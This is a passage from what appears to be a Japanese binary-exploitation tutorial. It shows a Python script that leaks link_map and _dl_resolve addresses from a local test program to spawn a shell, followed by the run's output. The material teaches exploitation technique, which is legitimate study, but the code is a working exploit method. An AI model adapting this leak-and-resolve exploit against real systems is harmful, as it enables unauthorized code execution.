buf2 += 'A' * (100-len(buf2))

# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)

data = p.stdout.read(4)
addr_r_debug = struct.unpack('<I', data)[0]
print "[+] addr_r_debug = %08x" % addr_r_debug
p.stdin.write(struct.pack('<I', addr_r_debug))

data = p.stdout.read(size_bulkread)
addr_link_map = struct.unpack('<I', data[4:8])[0]
offset = addr_link_map - addr_r_debug
addr_link_map_lib = struct.unpack('<I', data[offset+12:offset+16])[0]
print "[+] addr_link_map, addr_link_map_lib = %08x, %08x" % (addr_link_map, addr_link_map_lib)
p.stdin.write(struct.pack('<I', addr_link_map_lib))

data = p.stdout.read(20)
addr_lib_dynamic = struct.unpack('<I', data[8:12])[0]
print "[+] addr_lib_dynamic = %08x" % addr_lib_dynamic
p.stdin.write(struct.pack('<I', addr_lib_dynamic))

data = p.stdout.read(size_bulkread)
addr_lib_gotplt = struct.unpack('<I', data.split('\x03\x00\x00\x00')[1][:4])[0]
offset = addr_lib_gotplt - addr_lib_dynamic
addr_dl_resolve = struct.unpack('<I', data[offset+8:offset+12])[0]
print "[+] addr_lib_gotplt, addr_dl_resolve = %08x, %08x" % (addr_lib_gotplt, addr_dl_resolve)
p.stdin.write(struct.pack('<II', addr_dl_resolve, addr_link_map))

p.wait()

ここでは、size_bulkreadの値を0x400に変更し、このサイズだけまとめて読み出した後必要な値を抜き出している。

実行してみると次のようになる。

$ python exploit2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_r_debug = b7733904
[+] addr_link_map, addr_link_map_lib = b7733918, b7711858
[+] addr_lib_dynamic = b7702d7c
[+] addr_lib_gotplt, addr_dl_resolve = b7702ff4, b77266a0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

より少ない読み書き回数で、シェルが起動できていることが確認できた。

関連リンク